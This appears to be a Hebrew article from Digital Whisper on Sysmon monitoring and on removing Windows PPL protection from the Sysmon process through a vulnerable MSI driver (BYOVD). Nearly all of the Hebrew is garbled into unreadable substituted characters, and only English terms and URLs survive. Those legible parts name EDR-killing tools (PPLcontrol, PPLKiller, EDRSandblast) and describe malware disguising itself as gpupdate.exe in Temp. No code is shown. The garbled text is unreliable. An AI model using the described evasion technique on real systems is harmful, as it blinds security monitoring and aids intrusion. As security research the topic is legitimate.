 ˫ ˣ˩˧˯ 

˸˧˧ˮ˟  ˥ˣ˵˪  Telnet ˢˣˣˢˬ  ˪ ˣˠ˶˸  ˪ ˧˰˧  ˵ ˧ˬ˰ˬˣ ˸ˮ˟ˢ˪  ˸ˣˮˣ˶˵˰  l ˣ˯˧ ˸ˣˮ˩˸˟ ˸˷˶  Σˢˡˣ˟˰  ˫˰ ˫˧˪ˣ˵ˣ˦ˣ˶˲  Σ

˭ˣˮ˩˸ˣ ˵˷ˬˬ ˸˶ˣ˷˵˸ ˟˧˴˧ Φ 

 ˸ ˣ˶ˬ˪ ˸ˣ˦˷˲ˢ  ˸ ˧˯˥˧ˢ ˪˷   ˪ ˣ˵ˣ˦ˣ˶˲ Telnet Σˣˬˣ˷˧˧ ˪˰ˣ˲˟  ˷ ˶ˣˡ ˸ˣˡˡˣˬ˸ˢ  ˫˰ ˭ˣˬˤ˸  Σ˥ˣ˸˧ˮ ˸ˣ˟ˣˠ˸  

˸˶˷ˢˬ Σ˧ˣˢ˧ˤ ˸ˣ˧ˮ˟˸ Σ ˪ ˣˢ˧ˮ  ˟˴ˬ ˶ˣ˟˧˥  ˸ˣˮ˷˶˲ˣ ˸ˣˡˣ˵˲˪  ˸ˬ˶˟ ˦˧˧˟ˢ Φ 
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˶ˬ˞ˬˢ  ɣ ˧˴ˬ ˟˪˷  ˶˥˞  ˟˪˷  ˡ˴˧˩ ˭˸˧ˮ  ˷ ˬˬ˪  ˥ ˣ˵˪ Telnet   ˧ ˶˪ˣˡˣˬ ˟πCPP Σ˨ˣ˸  ˷ˣˬ˧˷ ˸ˣ˪ˣ˩˧˟  ˸ˣ˧˯˧˯˟  

˪˷ POSIX   ˸ ˣ˧˶˲˯ˣ ˸˩˶˰ˬ  Φ˨˞ ˞ˣˢ   ˞ ˪ ˠ˴˧˧ˬ  ˥ˣ˵˪  Telnet  ˭˩ˣˬ ˸˟˧˟˯˪  ˭ ˷˵ˡˣ˶˲ Σ˷ˬˬ  ˞˪ Σ˞ˣˢ ˢ˞˶ˬ  

ˢˬ ˯˧˯˟ˢ  ˣ˸˧˞˷  ˨˧˶˴  l ˣ˟˰˪ ˸˰˟  ˥ ˣ˸˧˲  ˥ ˣ˵˪ TelnetΦ 

 ˨ ˧˶ˡˬ ˢˤ ˡ˰ˣˮ ˷ˬ˷˪  ˯˧˯˟  ˧ˬ˪ ˭˧˧ˮˣ˰ˬ˷  ˭ ˧˟ˢ˪ ˸˞ ˪ˣ˵ˣ˦ˣ˶˲ Telnet ˵ˬˣ˰˪  Σ˥˸˲˪ ˫˧˪˩  ˫˧ˬ˞˸ˣˬ  ˸˧˷˧˞  Σ

ˣ˞ ˦ˣ˷˲ ˶˲˷˪  ˸˞  x ˸ˮ˟ˢ ˸˶ˣ˷˵˸˟  ˸ ˯˯ˣ˟ˬ TCP  Σ˪ˣ˩˧ˣ  ˸ˣˣˢ˪ ˶˰˷ ˢ˯˧ˮ˩ ˥ˣ˸˧˲˪  ˪ ˣˬ  ˫˧˪ˣ˵ˣ˦ˣ˶˲  

˫˧˲˯ˣˮ  ˫˧˦˵˧ˣ˶˲˪ˣ  ˸ˬ˶˟ ˸˩˶˰ˬΦ 

¶ ˫˞  ˫ ˸˞ ˫˧ˮˣ˟  x ˢ˷ˬ  ˫ ˧˴ˣ˶ˣ ˫˩˪ ˱˸˷˪ Σ l ˧ˬ˸ ˥ˬ˷  ˸ˣ˞˶˪   όΤ 

 

˪˰  ˶ ˟˥ˬˢ 

˫˸˯ ˟ˢˣ˞  ˶ˣ˵˥˪   ˪ ˰ ˫˧˶˟ˡ   

¶ LinkedIn 

¶ GitHub 

 

˸ˣ˶ˣ˵ˬ  ˰ ˡ˧ˬ 

¶ IANA Telnet specification 

¶ Telnet RFC 
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˸˞ˬ ˢ˧˧˸˲ ˧˰ˣ˶ 

 s ˬˡ˵ˢ 

 ˰ ˣˡ˧˩  ˫ˮ˷˧   ˶ ˲˯ˬ  ˟˶  ˪˷  ˫˧˩˶ˡ  ˫ˢ˟  ˫˧˷ˬ˸˷ˬ   ˧ ˸ˣˣ˴  ˢˮˠˢ  ˧ˡ˩  ˟ˣ˵˰˪   ˶ ˦ˮ˪ˣ  ˧˶˥˞  ˸ˣ˪ˣ˰˲   ˸ ˣˡˣ˷˥   ˪ ˰  

˸ˣˡˬ˰ Φ 

ˢ˟ˣ˷˸ˢ   ˪ ˷   ˫ ˧˲˵ˣ˸   ˨ ˶ˡ˟   ˪ ˪˩  ˧˪˩˪   ˶ ˣ˦˧ˮ   x ˪˞  ˢˮ˧ˢ   ˪ ˣ˶˦ˮ   ˪ ˷  ˸ˣ˩˶˰ˬ  ˶ˣ˦˧ˮˢ   ˭ ˣˣˠˬ˟  ˫˧˩˶ˡ  Σ ˭ ˣˠ˩   ˸ ˞˲˵ˢ  

Threads ˪˷ ˧˩˧˪ˢ˸ ˶ˣ˦˧ˮ Σ˪ˣ˴˧ˮ  ˸ ˣ˷˪ˣ˥ ˸ˣˬ˧˧˵ˢ  ˫ˢ˟  ˧ ˡ˩ ˪˧˲ˢ˪ ˫˸ˣ˞  Σˡˣ˰ˣ Φ 

  ˟ ˣ˷˥  ˭˧˧˴˪   ˧ ˪˩˪˷   ˶ ˣ˦˧ˮ  ˫˧ˮˣ˷  ˷˧  ˶˲˯ˬ  ˟˶  ˪˷  ˫˧˩˶ˡ  ˸ˣˢˤ˪  ˸ˣ˦˧˷   x ˪˞  π  ˭ˣˠ˩   ˟ ˵˰ˬ  ˧˶˥˞  ˸ˣˬ˩  ˫˧ˠˣ˪   ˶ ˷˞  

˸˪˟˵˸ˬ ˸ˣˡˬ˰ˬ Σ ˧ ˣˢ˧ˤ ˸˵˧˥ˬ  ˫˧ˠˣ˪  ˡˣ˰ˣ Φ 

˫ˣ˧ˢ   x ˮ˥ˮ˞   ˵ ˣ˯˰ˮ  ˢ˦˧˷˟   ˸ ˧ˡˣ˥˧˧  ˶˷˞   ˞ ˪   ˧ ˸˞˴ˬ   s ˧˪˰  ˦˰ˬ˩   ˪ ˪˩˟   l ˣ˰˧˸  ˦ˮ˶˦ˮ˧˞˟  Φˢ˦˧˷   x ˤ  ˸˷ˠ˧ˮ   s ˧˰˟˪  

ˢ˶ˣ˴˟  ˶˸ˣ˧  ˸˧ˡˣ˥˧˧  ˧ˡ˩˟  ˞˪  ˵˶  ˶˧˸˯ˢ˪  ˢˣˣ˸ˬ  ˢ˲˧˵˸  Σ˞˪˞  ˸˥˵˪  ˸˞  ˢˤ  ˡ˰˴  ˢˬ˧ˡ˵ ,  ˫ˣ˶ˠ˪ˣ  ˧ˣ˩˧ˤ˪   ˪ ˷  

˰ˣ˶˧˞ˢ ,   x ˞  ˢ˶˵ˬ˟   ˰ ˣ˶ˠˢ  ˶˸ˣ˧˟   ύ l ˴˪  ˱˵ˣ˸ˢ  όπ   ˫ ˣ˶ˠ˪  ˫˧˶˵ˣ˥˪   ʕ ˟ˤ˟˪  ˭ˬˤ  ˟˶  ˡˣ˞ˬ  ˧ˮ˲˪   x ˰˧ˠ˧˷   s ˬ˪  

˸ˬ˞˟˷ ˷˥˶˸ˢ Φ 

˧˲˩  ˭ ˸˧ˮ˷ ˭˧˟ˢ˪ ˸˶˸ˣ˩ˢˬ,  ˣˮ˥ˮ˞ ˵ˣ˯˰ˮ  ˞˪  s ˵˧˥ˬ˟  x ˞ ˢ˶˸˯ˢ,  ˞ ˪˞ ˱ˣ˧ˤ˟  ˫˧ˠˣ˪ Η 

˶˵˧˰  ˢ˵˧ˮ˩˦ˢ  ˸˯˯˟˸ˬ   ˪ ˰  ˨˩  ˣˮ˥ˮ˞˷  ˢˮ˷ˮ   ˸ ˞  ˫˧ˠˣ˪ˢ  ˡˣ˰  ˧ˮ˲˪  ˫ˢ˷  ˫˧˟˸˩ˮ  Σ˫˧ˠˣ˪˪  ˫˧˞˶ˮˢ  ˫˧˧ˬ˧˦˧ˠ˪ Φ 

˞ˬˠˣˡ˪  Σ ˫ ˣ˵ˬ˟   ˳ ˟ˣ˵ˢ˷  ˣˮ˪˷  Σ˞˶˵ˮ˷  Malware.exe  Σ˶˷˞  ˫˧˧˵  ˸˥˸   ˸ ˧˧˵˧˸  Temp  Σ˶˴˧   ˸ ˶ˣ˷˵˸   s ˰˷˟  

мпΥлл  π  ˢ˧ˢ˧  ˫ˣ˷˶  ˫˧ˠˣ˪˟  ˨˧˪ˢ˸ˢ˷  Gpupdate.exe  ˶˴˧  ˸˶ˣ˷˵˸  Σ˞ˣˢˣ  ˫˵ˣˬˬ  ˸˥˸   ˟ ˧˸ˮˢ  

C:\Windows\System32\gpupdate.exe Φ 

 s ˪˞˷  s ˪ˣ˰˷  ˞ ˧ˢ  s ˬ˪ ˰˧˵˷ˮ˷ ˭ˬˤ  ˳ˬ˞ˬˣ  ˸ˣ˷˰˪ ˸˞ˤ   ˫ ˣ˵ˬ˟  ˦ ˣ˷˲  ˵ ˣ˥ˬ˪  ˸ ˞ ˫˧ˠˣ˪ˢ  ˣ˞   ˰ ˣˠ˲˪  ˸ ˣˮ˧˵˸˟  

˪˷ ˧˪˩ ˶ˣ˦˧ˮˢ Κ 

ˢ˟˧˯ˬ ˡˣ˞ˬ ˢ˦ˣ˷˲ Η 

ˣˮ˥ˮ˞ ˫˧˴ˣ˶   ˱ ˣ˵˰˪ ˢˬ˩ ˭˸˧ˮ˷ ˸˞  ˧˵ˣ˥ ˶ˣ˦˧ˮˢ ˪˷ ˸ˣ˩˶˰ˬ  ˢˮˠˢˢ Φ 

ˣˮ˥ˮ˞ˣ  ˫ˠ   ˫ ˧˴ˣ˶  Σˢˡ˧ˬ˟˷  ˫˧˶˵ˣ˥ˣ  ˫˧˰˧ˠˬ  ˶ˣ˵˥˪  ˸˞  ˢˡˬ˰ˢ  ˣˮ˲˵˸˷  Σ˸ˣ˰˦ˢ˪  ˫˸ˣ˞  ˫ˣ˶ˠ˪ˣ  ˫ˢ˪   ˶ ˣ˵˥˪  

˫˧˩˧˪ˢ˸  ˫˧˧ˬ˧˦˧ˠ˪  ˫ˣ˵ˬ˟ Σˤ˟ˤ˟˪ˣ  ˫ ˢ˪ ˢˬ˩ ˶˸ˣ˧˷ ˭ˬˤ Φ 

 x ˧˷˩˰  ˫ ˸˞ ˥˦˟ ˫˧˪˞ˣ˷ Σˡ˴˧˩  ˭ ˸˧ˮ  ˸ ˣ˷˰˪ ˣˢ˷ˬ ˢˤ˩ Κ 
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˶ˬ˞ˬ˟  ˢˤ  ˶ˣ˟˰ˮ  ˪˰  ˞ˬˠˣˡ  ˡˣ˞ˬ  ˢ˦ˣ˷˲  ˪˷  ˱ˣ˧ˤ  ˫˧ˠˣ˪  ˪˰  ˸˦˧˷  ˶ˣ˦˧ˮˢ  ˸˧˶˪ˣ˲ˣ˲ˢ  ˶˸ˣ˧˟  ˪˰   ˸ ˣˡˬ˰  

Windows ˞ ˧ˢ ˞ˣ˪ˢ , π SysmonΦ 

˟ˣ˷˥   ˭ ˧˧˴˪  ˢˤ˷  ˶˵˧˰˟   ˪ ˧˟˷˟  ˢˬˠˡˢˢ,  ˸˞ˣ  ˭ˣ˶˵˧˰ˢ  ˣˬ˴˰  ˶˷˲˞  ˫˷˧˧˪   ˸ ˣ˪˵˟  ˪˰  ˪˩   ˧ ˪˩  ˶ˣ˦˧ˮ   ˶ ˷˞   ˫ ˩ˮ˧ˢ  

˫˧ˡˡˣˬ˸ˬ ˣ˪ˣˬ Φ 

ˢ˞˧˶˵ ˢˬ˧˰ˮ Η 

 

˰˵˶ ˪˰ Sysmon ˧˪˩ˣ ˶ˣ˦˧ˮ  ˫ ˧ˬˣˡ 

˪˧˥˸ˮ  ˫ˡˣ˵  ˪ ˩ ˸˸˪˟  ˰ ˵˶ ˡˣ˞ˬ   ˧ ˯˧˯˟ ˪˰ ˢˬ  ˞ ˣˢ Sysmon Σˢˡ˧ˬ˟   ˫ ˸˞ˣ  ˫ ˧˶˧˩ˬ Σˣ˪˩ˣ˸ ˠ˪ˡ˪ ˪˰ ˵˪˥ ˢˤΦ 

Sysmon  ˣˮ˧ˢ   ˧ ˪˩   ˸ ˥˸  ˢ˧˧˶˲˯ˢ  Sysinternals  ˪˷  MicrosoftΣ   ˶ ˷˞  ˟˧˥˶ˬ   ˸ ˞   ˫ ˧ˠˣ˪ˢ ˸ˣ˪ˣ˩˧  ˪˷  Windows  

˨˩˟ ˞ˣˢ˷ ˡ˰˸ˬ ˢ˶ˣ˴˟ ˸˦˶ˣ˲ˬ ˸˶˧˴˧ ˫˧˩˧˪ˢ˸  Σ ˧ ˶ˣ˟˧˥ ˸˷˶ Σ ˧ ˧ˣˮ˧˷  ˫ ˧˴˟˵ ˡˣ˰ˣ Φ 

ˠˣˢˮ  ˥ˣ˪˷˪  ˸˞   ˫ ˧ˠˣ˪ˢ  ˶˷˞  ˞ˣˢ  ˵˧˲ˬ  ˸ˣ˩˶˰ˬ˪  SIEM  ˥ˣ˸˧ˮ˪  Σˢˬ   ˨ ˲ˣˢ˷   x ˸ˣ˞  ˧˪˩˪  ˧ˤ˩˶ˬ   l ˧˴˟   ˫ ˧ˬˣ˧˞  

ˢˮˠˢˣ ˫˧ˮˣˠ˶˞˟ Φ 

Sysmon   ˭ ˵˸ˣˬ  π˩Service  ˸˩˶˰ˬ˟  Windows  Σ ˪ ˰˲ˣˬˣ  ˰˵˶˟  Φ ˸ ˰˟  ˢˮ˵˸ˢˢ  Σ˭˸˧ˮ   ˶ ˧ˡˠˢ˪  ˳˟ˣ˵   s ˧˴˶ˣˠ˧˲ˮˣ˵  

ύXML ό˪˧˩ˬˢ  ˸ ˞ ˫˧˪˪˩ˢ ˫˧˶˦˪˧˲ˢˣ ˶˷˞   x ˰˟˵˧ ˣ˪˧˞ ˫˧˰ˣ˶˧˞ ˷˧  l ˰˸˪ ˣ˪˧˞ˣ  ˞˪ Σ ˭ ˣˠ˩ Υ 

¶ ˫˧˩˧˪ˢ˸ Υ  Sysmon   ˟ ˵ˣ˰   ˧ ˶˥˞  ˸˶˧˴˧  ˫˧˩˧˪ˢ˸  ύProcess Creation  Σό˪˪ˣ˩   ˫ ˧ˮˣ˸ˮ  ˣˬ˩  ˫˷  ˨˧˪ˢ˸ˢ  Σˢˢˤˬ 

˨˧˪ˢ˸ˢ(PID)   Σˢˢˤˬ  ˨ ˧˪ˢ˸  ˟˞ˢ  ύPPID  ό˸˶ˣ˷ˣ ˢˡˣ˵˲ˢ  ύCommand Line Φό 

¶ ˫˧˶ˣ˟˧˥  ˸˷˶˪Υ  ˶ ˣ˦˧ˮ ˫˧˶ˣ˟˧˥ ˫˧˞˴ˣ˧  ˫˧˯ˮ˩ˮˣ Σ˵˲˯ˬ  ˰ ˡ˧ˬ  ˭ ˣˠ˩ ˸ˣ˟ˣ˸˩ IP Σ˫˧˦˶ˣ˲ ˫˧˪ˣ˵ˣ˦ˣ˶˲ˣ Φ 

¶ ˫˧˧ˣˮ˧˷ ˫˧˴˟˵˟Υ ˟˵˰ˬ ˶˥˞  ˢ˶˧˴˧  Σ˧ˣˮ˧˷ x˞ ˢ˵˧˥ˬ ˪˷  ˫˧˴˟˵ ˫˧˟ˣ˷˥Φ 

 

Sysmon  ˶ˤ˰ˮ   ˶ ˣ˟˧˥˟   ˶ ˧˷˧  ˸˩˶˰ˬ˪  ˢ˪˰˲ˢˢ  ˸ˣ˰˴ˬ˞˟  ˸ˮ˵˸ˢ  Kernel Driver   π  ˧ˡ˩  ˡˣ˩˪˪  ˫˧˰ˣ˶˧˞   ύ ˟-

 Low Level  όˢ˶ˣ˴˟ ˢ˪˧˰˧ Σ˞˪˪ˣ ˢ˰˲˷ˢ ˸˶˩˧ˮ ˪˰   ˧ ˰ˣ˴˧˟  ˸˩˶˰ˬˢΦ 

˞ˣˢ ˟˸ˣ˩  ˸ ˞ ˰ˡ˧ˬˢ   l ˩˪ˮ˷ ˳˟ˣ˵˪  ˭ˬˣ˧ ύEvent Log ό ˪ ˷ Windows Σ˨˩ ˭˸˧ˮ˷  ˥˸ˮ˪  ˸˞  ˰ ˡ˧ˬˢ ˶˥ˣ˞ˬ   ˶ ˸ˣ˧  

˸ˣ˰˴ˬ˞˟ ˫˧˪˩ ˫˧˲˯ˣˮ  ˣ˞   ˶ ˧˟˰ˢ˪ ˣ˸ˣ˞  ˸˩˶˰ˬ˪ SIEM Φ 

 

¶ ˯˵ˣˮ˧˪˪  ˷˧   ˸ ˞  Sysmon for Linux  π  ˢ˯˶ˠ  ˶˷˞  ˢˣˣˢˬ  ˦˶ˣ˲  ˪˷  Sysmon  Σ˸ˡ˧˩˪˪  ˧˰ˣ˶˧˞  ˸˩˶˰ˬ   ˸ ˬ˶˟  

˦ˣ˶˧˲  ˢˬˣˡ  ˣˤ˪  ˸˩˶˰ˬ˟˷ ˢ˪˰˲ˢˢ Windows Φ 

http://www.digitalwhisper.co.il/
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ˣˢˬ Protected Process Light) PPL ό 

ˣˬ˩   x ˮ˶˞˧˸˷  ˢˬˡ˵ˢ˟  Σˢ˰˲ˣ˸ˢ  ˪˷  ˢ˰˧ˠ˲   ˧ ˪˩˟   ˶ ˣ˦˧ˮ   ˪ ˰  ˸ˣˡˬ˰  ˢˮˮ˧˞  ˢ˷ˡ˥ ,   ˨ ˪ˢˬ˟ˣ  ˫˧ˮ˷ˢ  ˣ˦˵ˮ   ˭ ˣˣˠˬ˟  

˫˧˩˶ˡ  ˸ˣˮˠˬ˷  ˪˰  ˸ˣˮ˩ˣ˸  ˪˷  ˸˩˶˰ˬ  ˢ˪˰˲ˢˢ  Windows  ˧ˡ˩˟  ˰ˣˮˬ˪  ˫˧˲˵ˣ˸ˬ  ˰ˣˠ˲˪  ˭ˢ˟Φ  ˭˩˪ˣ  Σ ˪ ˧˥˸ˮ  

˧˰˴ˬ˞ˬ ˢˮˠˢˢ ˧ˤ˩˶ˬˢ ˪˷  Windows  ˪ ˰ Symon ˶˷˞ ˭ˠˬ  ˣ˧˪˰ ˫˧˧ˣˮ˧˷ˬ ˫˧˧ˮˣ˴˧˥  Σ˧˰˴ˬ˞ ˢˤ  ˞ ˶˵ˮ PPL Φ 

 

PPL  ˞ˣˢ  ˭ˣˮˠˮˬ  ˢ˥˦˟˞  ˸ˣ˩˶˰ˬ˟  Windows   x ˸˶˦ˬ˷  ˭ˠˢ˪  ˪˰  ˫˧˩˧˪ˢ˸   ˫ ˧ˬ˧ˣ˯ˬ  ˧ˮ˲ˬ  ˢ˷˧ˠ  Σ˧ˣˮ˧˷  ˣ˞   ˥ ˣ˸˧ˮ  

˞˪ ˫˧˷˶ˣˬ Φ 

 

PPL  ˭ˠˬ   ˪ ˰  ˫˧˩˧˪ˢ˸  ˸ˣ˰˴ˬ˞˟  ˸˲˯ˣˢ  FLAG  ˨˧˪ˢ˸˪  Σ˨˩   ˵ ˶˷  ˸ˣˮ˩ˣ˸   ˸ ˣ˪˰˟   ˸ ˣ˞˷˶ˢ  ˸ˣˬ˧˞˸ˬ   ˸ ˣ˪ˣ˩˧  

˸˰ˠ˪  ˶ˣˤ˞˟  ˭ ˣ˶˩˧ˤˢ ˣ˪˷ Φ s ˤ  ˰ˮˣˬ ˸ˣˮ˩ˣ˸ˬ ˸ˣ˧ˮˣˡˤ   x ˞  ˫ ˧˪˩  ˥ ˣ˸˧ˮ˪  ύDebuggers ό ˰ ˴˟˪  ˸ ˣ˪ˣ˰˲ ˪˰  ˫˧˩˧˪ˢ˸  

ˣ˪˞ Φ 

 

 ˭ ˪ˢ˪ ˧ˠˣ˯ s-FLAGS  ˫ ˧ˬ˧˧˵ˢ Υ 

 

 

 

PPL  ˰˧˴ˬ  ˢˬ˶  ˸˧ˬˮ˧ˡ   ˪ ˷  ˢˮˠˢ  π  ˨˩   ˫ ˧˩˧˪ˢ˸˷  ˫ˮ˧˞˷   ˫ ˧˧˦˧˶˵   ˶ ˸ˣ˧˟   ˨ ˞  ˭˧˧ˡ˰   ˫ ˧˷˶ˣˡ  ˢˮˠˢ  ˸˲˯ˣˮ  ύ x ˬ˩  

˧˩˧˪ˢ˸  ˧˦ˮ˞π ˯ ˣ˶˧ˣ x˞ ˢ˶˵ˬ˟  ˣˮ˪˷ π Sysmon ό ˫ ˧˪ˣ˩˧ ˸ˣ˧ˢ˪  ˫˧ˮˠˣˬ  ˢ˶ˣ˴˟   s ˷˧ˬˠ ˶˸ˣ˧ Φ 

http://www.digitalwhisper.co.il/
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˟ˣ˷˥  ˭˧˧˴˪  ˷ˣˬ˧˷ˢ˷  π˟PPL  ˪˧˥˸ˢ  ˵˶  ˸ˣ˞˯˶ˠ˟  ˸ˣ˷ˡ˥  ˪˷  Windows  Σ˭˩˪ˣ  ˞˪  ˧˦ˮˣˣ˪˶  ˸ˣ˞˯˶ˠ˪   ˸ ˣˮ˷˧  

ˣˬ˩ Windows т x˞ Windows XP Φ 

ˢ-FLAG ˞˴ˬˮ ˢˮ˟ˬ˟  EPROCESS ˟-Kernel Σˢˡ˷˟  ϦProtection ΦϦ 

 

 

¶ ˫˞ ˫˸˞  ˫ ˧˴ˣ˶ ˡˣˬ˪˪   l ˣ˰ ˪˰  ˢˮ˟ˬ  ˭ ˣ˶˩˧ˤˢ ˪˷  Windows  ΣEPROCESS ˡˣ˰ˣ Σ ˦ ˟ˬˬ ˧˲˵˸ˢ Σ ˧ ˮ˞  ˳ ˧˪ˬˬ  

˫ˣ˥˟   ˪ ˰ ˶ˬ˞ˬˢ ˪˷  ˧˷  ˸˪˧ˠ Σ˫ˠˣ ˶ˬ˞ˬˢ ˢˤˢ ˞˷ˣˮ˟  PPL  ˡ˴˧˩ˣ ˞ˣˢ ˧ˣˮ˟Φ 

 

ˢˬ ˞˧ˢ ˸˦˧˷ BYOVD 

˪˰ ˸ˮˬ  ˸ˣˮ˷˪  ˸˞ sπFLAG  ˪˷ sπPPL Σ˨˶˦˴ˮ  ˸ ˣ˞˷˶ˢ ˸ˬ˶˟ sπKernel Σ ˭ ˣˣ˧˩ˬ  s ˮ˟ˬˢ˷ EPROCESS  ˞ ˴ˬˮ  

 ˶ ˣˤ˞˟ ˭ˣ˶˩˧ˤˢ ˪˷ sπKernel Φ 

http://www.digitalwhisper.co.il/
https://digitalwhisper.co.il/files/Zines/0xA2/DW162-2-OffensiveWinKernel.pdf
https://0xv1n.github.io/posts/processprotection/
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 ɣ ˧˴˞  ˢ˦˧˷   l ˣ˞ˬ   ˸ ˶˩ˣˬ  ˸ˣˡˡˣˬ˸ˢ˪  ˫˰  ˫˧˶˵ˬ   x ˪˞˩   ˫ ˢ˟   ˸ ˷˶ˡˮ  ˢ˷˧ˠ  π˪Kernel  Σ ˞ ˪˷  ˸˷˶ˣˡ   ˶ ˣ˴˧˪  Driver  

˫˩˪˷ˬΦ   

 

BYOVD   x ˞  Bring Your Own Vulnerable Driver   ˞ ˧ˢ  ˸˵˧ˮ˩˦  ˢ˲˧˵˸  ˢ˟  ˱˵ˣ˸ˢ  ˞˧˟ˬ    ˭˧˰˦ˬˣDriver   ˰ ˧ˠ˲  

˸˩˶˰ˬ˟  ˡ˰˧ˢΦ  ˫ˣ˵ˬ˟  ˸ˣ˯ˮ˪  ˞ˣ˴ˬ˪  ˣ˞  ˪˴ˮ˪  ˸ˣ˰˧ˠ˲  ˸˩˶˰ˬ˟  ˸ˬ˧˧˵ˢ  ˪˰  ˸ˮˬ  ˫˧˪˯ˢ˪  ˸ˣ˞˷˶ˢ   ˸ ˬ˶˟  

Kernel Σ ˱ ˵ˣ˸ˢ ˭˧˩ˬ  ˷ ˞˶ˬ  ύˣ˞ ˶˸˞ˬ  όDriver  ˫˰ ˸ˣ˷˪ˣ˥  ˸ˣ˰ˣˡ˧ Φ 

ˢ˵˧ˮ˩˦   x ˤ  ˸˶˷˲˞ˬ  ˢ˯ˮ˩ˢ   ˪ ˷  Driver  ˧ˬ˧˦˧ˠ˪   ˫ ˣ˸˥  ˸˧ˬ˷˶   ˶ ˷˞  ˱˵ˣ˸ˢ   ˪ ˣ˩˧  ˷ˬ˸˷ˢ˪  ˣ˟   ˧ ˡ˩˟   ˰ ˴˟˪  

˸ˣ˪ˣ˰˲ ˸ˬ˶˟ s -Kernel ˢ˶ˣ˴˟ ˢ˦˵˷ Σ ˭ ˣˣ˧˩ˬ  ˶ ˟ˣˡˬ˷ ˵˶ ˪˰ ˪ˣ˴˧ˮ ˢ˷˪ˣ˥ ˪ˣˬ ˶˟˧˧˶ˡˢ Φ 

˸˶ˤ˰˟  πsDriver  ˰˧ˠ˲ˢ  ˭˸˧ˮ  ˰˴˟˪  ˫˧˧ˣˮ˧˷  π˪FLAGS  ˪˰  ˪˩  ˨˧˪ˢ˸  Σˢ˶˵ˬ˟ˣ  ˢˤˢ  ˭˸˧ˮ  ˸ˣˮ˷˪  ˸˞  -sFLAG   ˪ ˷  

-sPPL  π˪л π ˢˬ ˶˷˲˞ˬ˷  ˸˷ˠ˪  ˭ ˣ˶˩˧ˤ˪ ˪˷ ˨˧˪ˢ˸ˢ  ˶˟˩˷ ˞˪ ˭ˠˣˬ Σ ˨ ˩  ˪ ˩ˣˮ˷ ˨˧˷ˬˢ˪  ˢ˲˧˵˸˟ Φ 

 

˭˸˧ˮ  ˸ˣ˞˶˪  ˞ˬˠˣˡ  ˰ˣ˴˧˟˪  ˢ˦˧˷  ˸˞ˤ  ˪˰  ˧ˡ˧  itm4n  Σ˷ˬ˸˷ˬ˷  ˶˟˧˧˶ˡ˟  ˰˧ˠ˲  ˪˷  MSI  ˪˰  ˸ˮˬ  ˶ˣ˴˧˪   ˧ ˪˩  

 ˸ ˣ˵˯˰˸ˢ˪  ˫ ˰ s-FLAGS   ˪ ˷  -sPPL  ˦˵˧ˣ˶˲˟  ˣ˪˷ : https://github.com/itm4n/PPLcontrol 

˭ˣˣˠˬˣ  ˫ ˧˦˵˧ˣ˶˲ ˫˧ˬˣˡ  ˫ ˧˲˯ˣˮΥ 

¶ cdt/EDRSandblast-https://github.com/wavestone 

¶ https://github.com/RedCursorSecurityConsulting/PPLKiller 

¶ https://github.com/hoangprod/DanSpecial 

 

˷ˣˬ˧ˬ ˢ˲˧˵˸ˢ ˪˰ˣ˲˟ 

ˢ˶ˤ˥˟ ˸˶˦ˬ˪ ˶ˬ˞ˬˢ  π  ˱ ˣ˧ˤ ˫˧ˠˣ˪   ˪ ˰  ˧ ˪˩ˢ SysmonΦ 

 

 ˸ ˶ˤ˰˟  Process Explorer  ˭˸˧ˮ ˸ˣ˞˶˪ ˸˞   ˨ ˧˪ˢ˸ˢ   ˪ ˷  Sysmon  ˳˶˷  ˪˰  ˸ˮˣ˩ˬ   l ˰˧ˢ  ˣˮ˪˷  Σˢˮˣˬ˸˟ˣ   s ˞˟ˢ  

˭˸˧ˮ ˸ˣ˞˶˪  ˫ ˠ ˸˞  ˠˣ˯ ˢˮˠˢˢ  ˪ ˥˷ ˪˰ ˨˧˪ˢ˸ˢ ˢˡˣˬ˰˟  ϦProtection ΥϦ 

 

 

ˣˬ˩  ˧˸ˮ˧˧˴˷   ˫ ˡˣ˵  ˭˩˪  Σ˪˰  ˸ˮˬ  ˶˧˯ˢ˪   ˸ ˞  ˢˮˠˢˢ  ˪˰  ˨˧˪ˢ˸ˢ  Σ˨˶˦˴ˮ   ˸ ˣ˞˷˶ˢ  ˸ˬ˶˟   sπKernel  Σ ˷ ˬ˸˷ˮˣ  

˸˵˧ˮ˩˦˟ BYOVD Φ 

http://www.digitalwhisper.co.il/
https://github.com/itm4n/PPLcontrol
https://github.com/wavestone-cdt/EDRSandblast
https://github.com/RedCursorSecurityConsulting/PPLKiller
https://github.com/hoangprod/DanSpecial
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 ˭ ˰ˬ˪ ˢˬˠˡˢˢ Σ˷ˬ˸˷ˮ ˟ πPOC ˥ˣˮˢ ˪˷ itm4n  x ˮ˶˟˧ˡ˷ ˣ˧˪˰  ύPPLControl Φό 

˪˧˥˸ˮ ˭ˣ˰˦˪ˬ ˸˞ s-Driver ˰˧ˠ˲ˢ   ˪ ˷ MSI Υ 

 

 

˸˰˩  ˶˧˯ˮ  ˸˞  ˢˮˠˢˢ  ˪˷   s-PPL  ˪˰  ˨˧˪ˢ˸ˢ  ˪˷  Sysmon Σ  ˪˰  ˧ˡ˧  ˧ˣˮ˧˷  πsFLAG  ˣ˪˷  ˸˶ˤ˰˟  πsPOC  Σ ˶ ˷˞  

˥˸ˣ˲ Handle  π˪Driver   ˪ ˴ˮˬˣ ˸˞ ˢ˷˪ˣ˥ˢ   x ˟ Υ 

 

 

ˢ˷˪ˣ˥ˢ   ˟-Driver  ˸ˬ˶ˠˮ  ˶˯ˣ˥ˬ  ˸˵˧ˡ˟  ˥ˣˣ˦  ˸ˣ˟ˣ˸˩ˢ  ˶˷˞  ˭ˤˣˬ  ˣ˧˪˞  Σ˶˟ˡ  ˶˷˲˞ˬ˷  ˣˮ˪  ˟ˣ˸˩˪   ˞ ˣ˶˵˪ˣ  

˪˩˪ ˫ˣ˵ˬ  ˭ˣ˶˩˧ˤ˟ Φ 

˸˰˩  ˢ˵˧ˡ˟˟  ˸ˣ˰˴ˬ˞˟  Process Explorer   ˭ ˸˧ˮ   ˸ ˣ˞˶˪   ˨ ˧˪ˢ˸ˢ˷   ˪ ˷  Sysmon  ˣˮ˧˞  ˭ˠˣˬ  ˶˸ˣ˧  Σ˭˩˪ˣ  ˣ˧˷˩˰   ˪ ˩ˣˮ  

 ˸ ˷ˠ˪ x˪   x ˶˩˧ˤ˪ ˭ x ˤ˧˞˟ ˢ˶ˣ˴ ˢ˴˶ˮ˷ ˨˧˷ˬˢ˪ˣ  ˫˰ ˢ˲˧˵˸ˢ  ˣˮ˪˷ Υ 
